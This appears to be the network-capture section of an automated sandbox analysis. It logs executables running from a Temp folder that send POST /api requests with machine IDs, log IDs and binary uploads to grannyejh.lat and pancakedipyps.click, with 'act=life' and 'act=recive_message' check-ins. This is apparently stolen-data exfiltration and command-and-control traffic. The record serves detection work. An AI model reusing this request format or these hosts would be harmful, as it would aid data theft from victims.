2024-12-20 01:11:21 UTC	1369	IN	Data Raw: 74 46 30 32 6e 6a 7a 36 73 39 53 43 2f 7a 30 7a 39 52 4c 32 46 6c 70 75 56 77 6d 6c 39 59 6a 41 6c 39 7a 6f 71 36 56 42 6c 65 2f 39 47 6d 53 58 4b 72 50 6d 6b 71 33 30 47 69 37 6c 42 75 74 52 51 69 5a 44 51 61 2f 38 79 35 6e 54 31 66 57 68 6f 55 4f 51 36 72 4a 51 4b 70 59 30 2f 72 76 64 67 4f 6f 37 4d 50 4d 66 38 68 70 50 61 46 63 46 70 50 53 44 79 70 6d 57 74 4f 69 70 55 39 69 39 2f 57 45 70 6e 7a 4c 77 71 4a 4b 56 74 69 70 2b 2b 52 69 39 53 52 31 6b 56 41 47 6e 2f 49 66 4b 6d 39 66 32 70 71 6c 4f 6b 65 32 31 52 69 57 55 4f 76 4b 77 33 59 76 38 4e 6a 76 36 45 2f 6b 58 55 69 67 55 51 61 2f 6f 79 35 6e 54 2b 64 32 64 37 47 71 69 70 61 49 61 50 64 41 31 2f 2f 36 4b 79 76 51 77 4d 76 59 62 2b 78 68 52 59 6c 4d 4b 70 50 75 50 7a 5a 72 54 2f 4b 6d 72 54 70 6e Data Ascii: tF02njz6s9SC/z0z9RL2FlpuVwml9YjAl9zoq6VBle/9GmSXKrPmkq30Gi7lButRQiZDQa/8y5nT1fWhoUOQ6rJQKpY0/rvdgOo7MPMf8hpPaFcFpPSDypmWtOipU9i9/WEpnzLwqJKVtip++Ri9SR1kVAGn/IfKm9f2pqlOke21RiWUOvKw3Yv8Njv6E/kXUigUQa/oy5nT+d2d7GqipaIaPdA1//6KyvQwMvYb+xhRYlMKpPuPzZrT/KmrTpn
2024-12-20 01:11:21 UTC	1369	IN	Data Raw: 70 34 2f 2f 4c 62 61 67 2f 6b 33 4f 2f 4d 53 38 52 74 63 62 31 51 50 6f 4c 44 46 67 5a 54 4f 75 76 44 75 61 6f 6a 2b 72 30 49 70 73 54 2f 38 2f 73 33 45 34 58 4d 35 38 6c 53 6c 55 56 52 36 58 67 79 36 2b 59 7a 50 6e 4e 58 6f 71 61 4e 41 69 75 4b 79 55 43 4f 63 4e 50 79 34 30 34 2f 79 50 7a 6e 37 48 2f 49 64 48 53 59 61 42 72 43 77 30 34 47 39 33 65 6d 2f 72 55 57 54 38 36 59 55 4f 39 34 72 73 37 6e 65 79 71 42 7a 50 66 55 66 2b 52 46 52 61 46 34 4d 71 4f 4b 45 78 70 54 66 38 62 71 6b 54 4a 2f 75 74 56 38 72 6c 69 44 2f 73 4d 43 50 36 69 46 2b 73 46 54 36 43 52 30 77 47 6a 65 76 34 4a 76 43 30 65 66 73 71 37 68 41 6c 65 6e 39 53 32 71 4a 63 76 53 79 6b 74 4b 34 4e 54 48 33 46 2f 49 51 56 47 52 58 42 4b 48 31 69 73 65 58 33 50 43 6f 71 45 32 5a 34 4c 64 58 Data Ascii: p4//Lbag/k3O/MS8Rtcb1QPoLDFgZTOuvDuaoj+r0IpsT/8/s3E4XM58lSlUVR6Xgy6+YzPnNXoqaNAiuKyUCOcNPy404/yPzn7H/IdHSYaBrCw04G93em/rUWT86YUO94rs7neyqBzPfUf+RFRaF4MqOKExpTf8bqkTJ/utV8rliD/sMCP6iF+sFT6CR0wGjev4JvC0efsq7hAlen9S2qJcvSyktK4NTH3F/IQVGRXBKH1iseX3PCoqE2Z4LdX
2024-12-20 01:11:21 UTC	1369	IN	Data Raw: 50 6d 6b 6f 6e 2f 4d 44 2f 30 48 66 45 65 57 6d 78 49 43 36 2f 69 69 73 43 59 32 2f 61 6f 6f 30 61 53 35 4c 52 5a 4b 4a 30 31 39 4c 48 58 79 72 5a 7a 4f 65 5a 55 70 56 46 38 5a 56 45 4e 38 36 72 4c 33 74 33 50 75 71 2b 69 43 38 43 6c 76 56 34 68 6d 6a 2f 77 73 64 47 59 2b 54 55 73 2f 68 6e 33 41 31 64 6a 58 77 79 6c 2f 59 6a 48 6c 64 33 32 75 71 64 4c 6d 2b 37 39 47 6d 53 58 4b 72 50 6d 6b 71 6e 76 4a 54 54 35 47 4f 73 61 58 47 74 4d 44 4c 69 77 78 59 47 43 30 65 76 6f 39 6c 32 49 38 72 70 4c 61 6f 6c 79 39 4c 4b 53 30 72 67 31 4e 2f 67 54 2b 78 39 50 62 56 77 4f 70 2f 6d 43 78 5a 76 56 2b 71 79 71 54 4a 33 6d 73 56 38 6a 6b 7a 33 33 74 39 79 44 39 33 4e 77 76 68 50 6c 55 51 55 6f 65 78 71 72 2f 49 61 42 6a 4a 6a 6a 36 4b 6c 48 32 4c 33 39 57 43 71 56 4d Data Ascii: Pmkon/MD/0HfEeWmxIC6/iisCY2/aoo0aS5LRZKJ019LHXyrZzOeZUpVF8ZVEN86rL3t3Puq+iC8ClvV4hmj/wsdGY+TUs/hn3A1djXwyl/YjHld32uqdLm+79GmSXKrPmkqnvJTT5GOsaXGtMDLiwxYGC0evo9l2I8rpLaoly9LKS0rg1N/gT+x9PbVwOp/mCxZvV+qyqTJ3msV8jkz33t9yD93NwvhPlUQUoexqr/IaBjJjj6KlH2L39WCqVM
2024-12-20 01:11:21 UTC	1369	IN	Data Raw: 4e 37 6e 45 4c 2f 52 72 7a 46 6b 73 6f 52 54 37 6d 73 49 54 62 30 34 37 44 73 65 35 4d 6c 4b 58 6c 46 44 47 58 4d 76 53 6b 78 49 33 30 49 6a 58 7a 47 4e 38 65 57 6e 35 5a 44 71 76 68 67 6f 32 59 32 37 72 6d 37 6b 79 41 70 65 55 55 43 35 63 6b 38 4a 48 52 6d 2f 46 7a 63 4c 34 54 36 31 45 46 4b 47 52 42 75 76 4f 62 77 70 7a 48 78 4f 6a 32 55 71 61 6c 74 6b 49 6a 67 44 48 6c 74 64 2b 47 36 51 31 2b 70 6b 43 76 51 77 38 36 43 42 37 6f 37 37 53 50 30 39 65 36 38 4a 64 53 32 50 50 39 44 48 62 65 63 75 48 2b 69 73 71 2f 4d 43 7a 73 45 76 34 48 58 69 39 6b 50 34 2f 6d 67 63 61 44 30 65 32 6e 37 67 58 59 36 76 30 4d 48 64 41 37 39 4b 58 44 6e 50 55 6a 4f 62 34 72 73 31 46 46 4b 41 4a 42 6e 66 4f 46 7a 35 54 41 36 2b 57 4a 58 5a 4c 69 72 56 4d 7a 6e 33 4b 39 2f 74 Data Ascii: N7nEL/RrzFksoRT7msITb047Dse5MlKXlFDGXMvSkxI30IjXzGN8eWn5ZDqvhgo2Y27rm7kyApeUUC5ck8JHRm/FzcL4T61EFKGRBuvObwpzHxOj2UqaltkIjgDHltd+G6Q1+pkCvQw86CB7o77SP09e68JdS2PP9DHbecuH+isq/MCzsEv4HXi9kP4/mgcaD0e2n7gXY6v0MHdA79KXDnPUjOb4rs1FFKAJBnfOFz5TA6+WJXZLirVMzn3K9/t
2024-12-20 01:11:21 UTC	1369	IN	Data Raw: 4c 75 67 50 73 52 6c 65 63 6b 41 2f 6c 74 75 48 78 35 54 4d 2f 61 36 49 61 39 69 72 2f 56 74 6b 79 41 75 7a 39 70 4b 31 74 6e 4d 6d 76 6b 79 39 4a 46 35 6d 56 41 61 2b 34 63 62 70 73 4f 7a 41 36 6f 4a 4d 6a 61 65 4a 55 7a 53 42 4f 66 36 79 6b 73 53 34 4e 58 36 6d 52 4c 4e 52 57 58 6b 61 57 66 69 69 30 4a 54 41 67 61 72 36 73 51 57 42 70 61 73 55 66 4d 4a 38 73 36 79 53 30 72 68 30 50 65 77 47 2b 78 4a 4c 61 78 30 2f 6c 74 65 46 78 70 4c 41 36 72 2b 68 64 61 62 77 76 6c 6f 71 6c 79 54 69 2f 70 7a 4b 39 33 4e 6d 78 31 53 31 55 57 49 6d 47 68 6e 6f 71 4d 76 30 6b 4e 6a 30 72 37 68 61 31 63 4b 7a 55 79 57 47 49 75 53 78 6b 73 53 34 4e 58 36 6d 52 72 4e 52 57 58 6b 61 57 66 69 69 30 4a 54 41 67 61 72 36 73 51 57 42 70 61 73 55 66 4d 4a 38 73 36 79 53 30 72 68 Data Ascii: LugPsRleckA/ltuHx5TM/a6Ia9ir/VtkyAuz9pK1tnMmvky9JF5mVAa+4cbpsOzA6oJMjaeJUzSBOf6yksS4NX6mRLNRWXkaWfii0JTAgar6sQWBpasUfMJ8s6yS0rh0PewG+xJLax0/lteFxpLA6r+hdabwvloqlyTi/pzK93Nmx1S1UWImGhnoqMv0kNj0r7ha1cKzUyWGIuSxksS4NX6mRrNRWXkaWfii0JTAgar6sQWBpasUfMJ8s6yS0rh
2024-12-20 01:11:21 UTC	1369	IN	Data Raw: 4c 4e 52 55 53 67 43 51 61 6e 36 6d 38 79 63 30 62 61 76 74 45 7a 59 71 2f 31 61 5a 4d 68 79 38 72 54 43 68 2f 63 30 63 76 67 61 38 31 46 43 4a 6b 4e 42 76 72 44 54 6b 74 32 57 36 4f 6a 32 43 39 2f 6d 72 30 59 69 6b 79 54 77 2b 65 79 30 31 53 45 35 37 68 65 2f 49 46 42 73 54 42 53 72 34 49 7a 2f 72 66 76 6f 72 37 35 49 32 74 53 72 56 79 53 65 4e 62 50 77 6b 70 4b 34 61 33 37 54 42 76 6f 42 58 69 67 55 51 61 53 77 30 34 47 65 78 50 32 34 72 51 65 66 2f 37 6f 55 4f 39 34 72 73 36 69 53 30 71 74 39 66 75 78 55 70 56 45 61 5a 6c 63 41 71 2f 36 49 30 34 48 51 2b 62 36 74 44 4b 62 62 6b 45 59 6a 67 44 47 78 6a 39 2b 4f 37 69 59 39 37 68 50 44 4c 33 42 36 58 52 47 72 73 71 66 47 6e 74 72 45 6c 70 6c 61 6e 2f 58 2f 63 69 65 47 4d 62 50 77 6b 70 4b 34 61 33 37 54 Data Ascii: LNRUSgCQan6m8yc0bavtEzYq/1aZMhy8rTCh/c0cvga81FCJkNBvrDTkt2W6Oj2C9/mr0YikyTw+ey01SE57he/IFBsTBSr4Iz/rfvor75I2tSrVySeNbPwkpK4a37TBvoBXigUQaSw04GexP24rQef/7oUO94rs6iS0qt9fuxUpVEaZlcAq/6I04HQ+b6tDKbbkEYjgDGxj9+O7iY97hPDL3B6XRGrsqfGntrElplan/X/cieGMbPwkpK4a37T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49866	172.67.179.109	443	7944	C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:23 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MXFKTYOZQA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12793 Host: grannyejh.lat
2024-12-20 01:11:23 UTC	12793	OUT	Data Raw: 2d 2d 4d 58 46 4b 54 59 4f 5a 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 32 43 43 30 32 45 32 42 38 44 46 32 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 58 46 4b 54 59 4f 5a 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 58 46 4b 54 59 4f 5a 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4d 58 46 4b 54 59 4f 5a 51 41 0d 0a 43 6f Data Ascii: --MXFKTYOZQAContent-Disposition: form-data; name="hwid"9E2CC02E2B8DF241AC8923850305D13E--MXFKTYOZQAContent-Disposition: form-data; name="pid"2--MXFKTYOZQAContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--MXFKTYOZQACo
2024-12-20 01:11:24 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9fm19k2rti4rnb9hps7k9ot775; expires=Mon, 14 Apr 2025 18:58:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EeKT%2BdtmLBDw316cCJ8jGwnO%2Fq7cV3Qt0R53iiaQu0oIes1v3CCBQ0r2HnRUGpBt2wA4I6zzgsqlMQe57uW3NnTpY2XViItBYDUjK7VbpaaObYUjYH%2BDfHrwdCTC%2Blu9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc2162a69c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1706&min_rtt=1660&rtt_var=655&sent=12&recv=17&lost=0&retrans=0&sent_bytes=2830&recv_bytes=13722&delivery_rate=1759036&cwnd=181&unsent_bytes=0&cid=35af30be69650c48&ts=1199&x=0"
2024-12-20 01:11:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 01:11:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49874	172.67.179.109	443	7944	C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:26 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XUDI41EP0R User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15035 Host: grannyejh.lat
2024-12-20 01:11:26 UTC	15035	OUT	Data Raw: 2d 2d 58 55 44 49 34 31 45 50 30 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 32 43 43 30 32 45 32 42 38 44 46 32 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 58 55 44 49 34 31 45 50 30 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 55 44 49 34 31 45 50 30 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 58 55 44 49 34 31 45 50 30 52 0d 0a 43 6f Data Ascii: --XUDI41EP0RContent-Disposition: form-data; name="hwid"9E2CC02E2B8DF241AC8923850305D13E--XUDI41EP0RContent-Disposition: form-data; name="pid"2--XUDI41EP0RContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--XUDI41EP0RCo
2024-12-20 01:11:27 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r65sepf6u36p1cgij67uojtn51; expires=Mon, 14 Apr 2025 18:58:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qmbEIXe2loL6JGdKsvvai%2FISyYOdnBRHTiOAY%2Fy%2BQiOeZvwmoHym9NW87a9hoko35erWAjuXmEH4jRomNT5BOdDXbmN2Ddnw5NHKFIPNXHZU%2FATq0pSJQLO1cdVuUR58"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc225ebc043ac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1788&min_rtt=1761&rtt_var=679&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2830&recv_bytes=15964&delivery_rate=1658148&cwnd=181&unsent_bytes=0&cid=49fe536b950279f0&ts=949&x=0"
2024-12-20 01:11:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 01:11:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49876	172.67.209.202	443	8180	C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:26 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-20 01:11:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 01:11:27 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7oo5ku4gqoor1bp1kb8jutuija; expires=Mon, 14 Apr 2025 18:58:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5muAaM8ecR1lwsKEZjJejxrzwkKIRecfEcku3%2FErzkibrvxPltB6lUEX5KCGrEJpKHJ2SwiJYdJv7KRIfe4yX9IzRxEuxyLZkQx699FyxB6I5XuS8l1tARvJCrLS8K%2B8vPd8GG4x"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc22a483d4299-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1693&min_rtt=1625&rtt_var=658&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=910&delivery_rate=1796923&cwnd=251&unsent_bytes=0&cid=693417906e9d5628&ts=751&x=0"
2024-12-20 01:11:27 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 01:11:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49882	172.67.179.109	443	7944	C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:28 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BBC10T0NDCBUHXE1T4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20573 Host: grannyejh.lat
2024-12-20 01:11:28 UTC	15331	OUT	Data Raw: 2d 2d 42 42 43 31 30 54 30 4e 44 43 42 55 48 58 45 31 54 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 32 43 43 30 32 45 32 42 38 44 46 32 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 42 42 43 31 30 54 30 4e 44 43 42 55 48 58 45 31 54 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 42 42 43 31 30 54 30 4e 44 43 42 55 48 58 45 31 54 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --BBC10T0NDCBUHXE1T4Content-Disposition: form-data; name="hwid"9E2CC02E2B8DF241AC8923850305D13E--BBC10T0NDCBUHXE1T4Content-Disposition: form-data; name="pid"3--BBC10T0NDCBUHXE1T4Content-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-20 01:11:28 UTC	5242	OUT	Data Raw: b5 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-12-20 01:11:29 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ju0640qneurge6lkeftu9k77lc; expires=Mon, 14 Apr 2025 18:58:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gL4ty9X3ievHkvziw%2Fh84tbuyXm8yQ56%2FcOMlrdXq7Q%2Ba0nCrvocn%2BP5YN0j0sEGGxkvMPQG7JocyVmLXhRp7787asmoYuYms3zZJogfcrKyyS%2FHclGi1t4KPX%2Bjx25B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc2356e4e8c84-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1802&min_rtt=1782&rtt_var=708&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2829&recv_bytes=21532&delivery_rate=1503604&cwnd=175&unsent_bytes=0&cid=5c14f4b24598d900&ts=959&x=0"
2024-12-20 01:11:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 01:11:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49883	172.67.209.202	443	8180	C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:28 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: pancakedipyps.click
2024-12-20 01:11:28 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-12-20 01:11:29 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q755s80h6n31biflhklpb2mluq; expires=Mon, 14 Apr 2025 18:58:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kDD3WFSWcgSO9QFHapjY4DTnKjjMRlr3UiQ7inRWR1EaSsryrv7Sq%2FST8f7jyffY94wewTCb9R7RTmQpvRx4XL%2B4DTX6EcxzPCT0qS%2BLdSIUPGk6JwDH8FGZIqYBeXhl5%2Br7SMy0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc2373ede41a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1588&min_rtt=1583&rtt_var=604&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=949&delivery_rate=1798029&cwnd=239&unsent_bytes=0&cid=c000f91ab8895ff0&ts=838&x=0"
2024-12-20 01:11:29 UTC	242	IN	Data Raw: 63 34 38 0d 0a 4c 67 43 36 75 75 43 45 32 4d 70 72 4a 36 65 66 57 51 54 71 36 34 67 2b 55 53 2b 4e 55 66 78 43 70 6e 6e 6b 65 41 31 31 6b 33 4a 56 49 73 79 59 32 72 44 30 36 42 68 43 68 61 55 74 64 70 2b 4f 70 42 77 77 53 36 39 72 6d 69 50 4b 43 6f 46 55 4c 77 50 2b 55 42 52 6d 32 39 61 54 34 66 54 6f 44 6c 2b 46 70 51 4a 2f 79 49 37 6d 48 47 73 4e 36 44 75 65 49 38 6f 62 68 52 4e 69 42 66 38 52 52 6d 7a 64 30 6f 58 6e 76 4b 73 48 53 73 4c 36 50 47 57 41 68 65 46 54 4f 55 4b 76 66 64 34 6e 33 46 76 65 57 6b 41 51 35 78 4e 6a 59 63 6e 52 77 76 6e 30 73 55 6c 43 79 62 31 6a 4a 6f 75 4f 36 6c 49 33 53 2b 59 35 6c 43 72 43 47 6f 41 53 66 52 7a 31 47 6b 5a 69 33 74 4f 50 37 71 69 6d 44 55 33 4a 2f 44 5a 6c 79 4d 65 71 57 Data Ascii: c48LgC6uuCE2MprJ6efWQTq64g+US+NUfxCpnnkeA11k3JVIsyY2rD06BhChaUtdp+OpBwwS69rmiPKCoFULwP+UBRm29aT4fToDl+FpQJ/yI7mHGsN6DueI8obhRNiBf8RRmzd0oXnvKsHSsL6PGWAheFTOUKvfd4n3FveWkAQ5xNjYcnRwvn0sUlCyb1jJouO6lI3S+Y5lCrCGoASfRz1GkZi3tOP7qimDU3J/DZlyMeqW
